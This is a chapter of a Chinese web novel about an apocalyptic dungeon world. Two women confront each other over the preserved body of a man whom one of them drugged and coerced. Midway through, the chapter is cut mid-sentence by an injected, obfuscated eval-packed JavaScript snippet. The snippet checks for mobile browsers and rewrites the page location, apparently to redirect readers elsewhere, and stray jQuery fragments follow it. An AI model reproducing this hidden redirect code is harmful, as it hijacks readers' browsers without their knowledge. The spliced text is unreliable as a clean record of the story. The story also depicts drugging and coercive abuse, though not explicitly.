91. 是勇者就下100层(6)
作品:《末日我刷副本装大老破小》 约定的时间到了,司徒亦澄将情义堡附近的结界偷偷打开一角,静等冯兰娅前来。
可没等对方现身,他竟毫无征兆地靠在一旁的树干上,昏睡了过去。
昏沉间,梦境翻涌而来。
梦里的逆像镇本是一派安稳祥和,却在顷刻间被熊熊烈火席卷,转眼化为焦土。
昔日居民安居乐业的人间乐园,刹那间沦为人间地狱。
火光之中,一道熟悉的背影缓缓浮现,不是旁人,正是唐歌。
司徒亦澄心头猛地一紧,暗忖:难不成,他诈尸了?
待他猛然惊醒,心底的惧意翻涌,压过了所有思绪。
他一时也不等冯兰娅,借着挖宝得来的隐身穿墙道具,趁晚饭时分缘莉瑶等人不在的间隙,穿墙绕过监控,悄悄溜去了地下十层的冰室。
他在冰棺旁,对着唐歌,压着声音絮絮叨叨:
“唐兄,我总觉得你快要醒过来似的……你不会真的诈尸吧?我也帮了你们这么久,真不是故意要害你的。你人都不在了,身体怎么样应该没关系吧……?”
话音落下,冰棺里毫无回应。
【要不,趁着这个机会先把他搬出去烧了,免得夜长梦多?】
但他细细打量着唐歌,掂量一番后觉得实在不行,便暂时放弃了念头。
又继续道:“其实我也是为你们好。你天天像个手办似的躺在这里,小缘的精神状态却一天比一天差,你若是看得见,定然心疼坏了。我相信你肯定盼着她好好活着,另觅良偶,绝不会愿意她为你殉情的,是不是?所以我做这些,也算是帮你一把。”
司徒亦澄说着,竟真的被自己这番说辞说服了,甚至被自己感动了。
他又掏出挖宝时意外得到的一束花,道:
“好兄弟,这个送你了,不管你有什么怨气,都别找我,去找害你的人。等把你处理完,我在这个副本估计也呆不下去了。下一个副本,你可别变成怨灵跟着我,求你了。”
说完,他小心翼翼地将花摆在冰棺旁。
刚要转身离开,他手臂上的咒符突然传来一阵刺痛。
他心中一惊,只觉身后有一道人影步步逼近。
猛一回头,却见冯兰娅的身影赫然立在眼前!
是的,他掀开的那一角结界,让她先一步潜了进来。
此刻的冯兰娅,正怔怔地望着冰棺中的唐歌,神色复杂到了极致——有失而复得的狂喜,有永失所爱的悲恸,更有难以言说的怅然与失落。
学霸大多带着几分自恋与偏执,冯兰娅更是其中的极致。
她总错将唐歌昔日些许温和的示好,当作对自己有情的信号,以为自己终究还有机会守得云开见月明。
可她从未想过,唐歌竟抵触自己到了甘愿以死解脱的地步,也唯有他的离世,才让偏执的冯兰娅不得不相信,他是真的不爱自己,连一丝一毫的机会,都不愿给她。
此刻面对唐歌的遗体,她身上那股惯有的盛气凌人全然消散,只剩最真实的失落的自己。
她对着冰棺中的人喃喃自语,声音轻得像一缕随风飘散的叹息:
“对不起,勉强你做了不想做的事,让你变成了这样……我本意,只是想保护你而已……可后来,我控制不住自己……我会想办法的,一定会……”
话音落,她缓缓伸出手,催动空间术,想以空间之力将唐歌的遗体带走。
淡白色的光晕瞬间缓缓笼罩住冰棺,可就在这时,刺耳的警报声骤然划破寂静,她的空间术,竟被什么屏障硬生生阻隔了。
冯兰娅还听到身后有脚步声,猛地回头,她看到缘莉瑶的身影就立在不远处,还有人陆续跟着她走来。
缘莉瑶目光冷冽如刀,望着冯兰娅时,带着刺骨的寒意。
司徒亦澄心头一沉,暗道不好,暴露了。
他慌忙低下头,不敢与众人对视。
七剑当即上前一步,目光灼灼地盯着司徒亦澄,道:“没想到,你竟是叛徒!你们,想对唐歌做什么?”
海风也上前一步,对着冯兰娅冷声喝道:“冯团长向来英明神武,没想到也会做这偷鸡摸狗的勾当。”
冯兰娅的声音淡漠如冰:“我只是来取回,属于我的东西。”
“你真是不要脸……冯兰娅。”
缘莉瑶的声音响起,眼底翻涌着到几乎要溢出来的恨意。
冯兰娅目光落在缘莉瑶身上。
她的面貌,和缘莉瑶之前所见早已大不相同,印堂似有发黑的迹象,眼神也变得冰冷无情。
“小缘,末日后,我一直在找你。你刚到这个副本时,我一心想让你做我的左膀右臂,也希望你们都留在这个副本,不必再受外界的苦楚。甚至那时,我已经认了你和唐歌的关系,哪怕你们在我眼皮底下恩爱一生,我都能接受。只是……世事多变,没想到我们最后,会走到这一步。”
“我又何尝不是?”
缘莉瑶的声音冷硬如铁:“但现在,我特别后悔,一直和唐歌说希望能找到你……让他心中抱有了期待,却因我错误引导的这份‘期待’,让我失去了这个世界上最爱的人……!”
话音落下,空气里弥漫着令人窒息的压抑,其他人都不敢插话。
“我真的一直想再见到你,亲口问问你,他不爱你,你就不择手段要得到他的人,这种事,居然是你做得出来的……认识你这种人,我真是瞎了眼了。”
“既然你知道,他早已是我的人,那就把他还给我。”
冯兰娅的语调依旧冰冷,没有半分波澜。
“他手腕的图腾,因我而生,这便是我们缔结关系的证明。我知道你也想复活他,可在这个副本里,你的能量远不如我。让他复生这件事,还是由我来做比较好。”
缘莉瑶突然笑了,笑声里裹着难以遏制的怒意:
“好厚颜无耻!如果不是你,他怎么会死?而且唐歌心里,自始至终只有我一个人。就算真的有万亿分之一的几率能让他醒来,他宁愿再死一次,也绝不会留在你身边。他根本就不喜欢你!你守着的不是他,只是你自己的执念,你想要的也只是一个属于你自己的玩物,这和伪人操纵傀儡,有什么区别!你这不是爱,是彻彻底底的霸占欲而已。”
这话,狠狠刺中了冯兰娅的死穴。
旁人说她什么,她都毫不在意,唯独唐歌不喜欢她的这个真相,是她拼尽全力也不愿忍受的。
她的双眼瞬间因激动变得赤红,语气也愈发阴鸷:
“哼,你怎么知道,我得到他那天,他是反抗的心态呢?也许他也享受得很。这里人多,我不想说得太露骨,给大家都留点体面。”
缘莉瑶死死攥紧拳头,指甲深深嵌入掌心:
“你还要造谣!如果不是不能接受你那些卑劣的手段,不能接受你做的那些龌龊事,他怎么会自尽?!他走前说,他会永远爱我!他让我要活下去!他就只想回到我身边而已!你还不肯承认,就是你害死的他吗,你真是个卑鄙的人渣!”
冯兰娅纵然心有不甘,却不得不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392462|193861||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
承认,在铁一般的事实面前,她终究辩无可辩。
唐歌爱缘莉瑶,这是刻在骨子里的事实,无论她如何狡辩,都无法改变。
可冯兰娅向来高傲,绝不肯落于下风。
更何况,此刻她的一部分思维早已被穆赫莲干扰,终于决定撕开所有伪装,露出最狰狞的面目。
她眼底闪过一丝阴狠,似是报复一般,微微翘起嘴角:
“好,很好。那就让我打开一部分的心念屏障,让你看看,我当时有多卑鄙,也满足你对他最后的念想……”
话落,她抬手抚上自己的额头,让系统解锁了一部分记忆屏障。
屏障开启的瞬间,唐歌曾经被困在100层的种种影像,清晰地呈现在缘莉瑶眼前。
她看见,唐歌日日蜷缩在冰冷的沙发里,硬气地拒绝和冯兰娅交流,又常常孤独地望着窗外,甚至不惜用绝食的方式,换取离开的机会;
她看见寂川像施舍一般,一点点将关于她的零碎信息丢给唐歌,而唐歌,只要一听见她的消息,就彻底被对方掌控,靠着这些可怜的只言片语,一点点被骗取信任,喝下了那碗掺了迷药的药汤。
她从未见过,自己的唐歌这般任人摆布的样子,心疼得像是心脏被生生撕裂。
影像继续流转,她看见唐歌从昏迷中醒来,发现手腕上多了那图腾时的眼神——那是震惊、愤怒,甚至还有一丝难以掩饰的害怕。
他拼命地擦拭着手腕,可那图腾却怎么都擦不掉,直到手腕被蹭出片片血色,他才停下动作,眼神早已变得支离破碎。
他对着冯兰娅露出难以置信的表情,决绝地拒绝她的靠近,可对方却能借着祀零族的羁绊压制之力,逼他屈服。
在那股力量之下,他只要稍有反抗,便会浑身脱力、恶心欲呕、心跳紊乱。
起初,冯兰娅还会刻意克制,生怕他受伤,一开始的亲吻和拥抱,只要他表现出拒绝,她都会停下。
可渐渐的,看着他满心满眼只有痴想缘莉瑶,整日把自己关在房间里,冯兰娅的理智开始一点点脱线。
后续他每一次的抵抗,换来的都只是她带着惩罚意味的、更激烈的亲近,虽然因为他的拼命躲闪,那些亲吻终究只能落在发间和身上,可对冯兰娅而言,这已然足够。
她对控制他这件事,渐渐上了瘾。
她开始研究祀零族的习俗,偏执地按照自己的心意为他打扮,每日一遍遍地逼他看镜子里头发肆意生长的自己,逼他看手腕上那枚刺眼的图腾,妄想让他就此认命。
甚至,她还对他说出诸多不堪的言语羞|辱。
【如果缘莉瑶看见这样的你,她会怎么说?你再也不是她可以拿来炫耀的存在了。你已经和其他人缔结了伴侣关系,却还三心二意,只想着逃跑,这是多么败坏的事情?你在你的族里抬不起头,在其他人眼里,也只会沦为笑柄。】
日子一天天过去,唐歌对冯兰娅的存在,产生了深深的PTSD,甚至只是听见她的脚步声,都会控制不住地颤抖。
为了缓解那些无尽的痛苦,他骨子里的坚硬开始瓦解,他开始认不清自己是谁,开始只要有人靠近就会用力推开,开始不肯听人好好说话。
直到他生命的最后那天,冯兰娅得知缘莉瑶和她的朋友们成了逆寒岭的一方领主,预感到她迟早会反攻,来抢走唐歌后,彻底失去了所有耐心。
那时的她,也早已被邪念完全掌控,情绪彻底失控,对唐歌的反抗,再也没有半分包容,并且做出了可怕的事。

